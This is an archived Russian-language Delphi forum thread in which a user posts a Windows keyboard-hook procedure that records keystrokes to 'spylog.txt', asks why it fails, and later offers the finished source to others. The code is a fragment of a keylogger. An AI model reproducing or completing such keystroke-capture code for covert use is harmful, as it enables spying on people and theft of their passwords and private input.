Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.06.13;
Скачать: CL | DM;

Вниз

Не работает перехват сообщения   Найти похожие ветки 

 
faith   (2004-05-05 14:40) [0]

После записи в файл перестают перехватываться сообщения, кстати и файл сам не записывается. Странно как-то, если кто знает подкажите, пожалуйста.


function KeyboardProc(nCode:integer; wParam, lParam: Longint):Longint;
 stdcall;
var wrkStr: ShortString;
   tfile : textfile;
begin
 if nCode <0 then begin
   Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
   exit;
 end;

   case wParam of
     VK_ESCAPE : wrkStr := ""ESC"";
     VK_RETURN : wrkStr := ""ENTER"";
   else
     wrkStr := Chr(MapVirtualKey(wParam,2));
   end;

   AssignFile(tfile,"spylog.txt");
   Rewrite(tFile);
   writeln(tFile,wrkStr);
   CloseFile(tFile);

 Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
end;


 
VMcL ©   (2004-05-05 17:41) [1]

>>faith  (05.05.04 14:40)

http://www.delphimaster.ru/articles/hooks/index.html
?


 
faith   (2004-05-05 23:44) [2]

Класно, что-то умное и интересное. Сейчас прочту. Спасибо, ссылка хорошая.


 
faith   (2004-05-08 18:15) [3]

Спасибо за ссылку, очень помогло. Хотя в их примере есть одна ошибка, но это несущественно. Самый грамотный мануал по этой теме! Кому нужен результат с исходниками (получилась довольно неплохо), пишите!



Страницы: 1 вся ветка

Текущий архив: 2004.06.13;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.038 c
1-1085824554
Oleg
2004-05-29 13:55
2004.06.13
Простой алгоритм шифрования


1-1085381152
Дмитрий 2004
2004-05-24 10:45
2004.06.13
Вертикальный QRlabel


1-1085736411
Turbid
2004-05-28 13:26
2004.06.13
CreateForm с параметром Hide


14-1085552319
Igorek
2004-05-26 10:18
2004.06.13
Опрос: любимая пора года, суток и погода


14-1085629586
ORMADA
2004-05-27 07:46
2004.06.13
DevExpress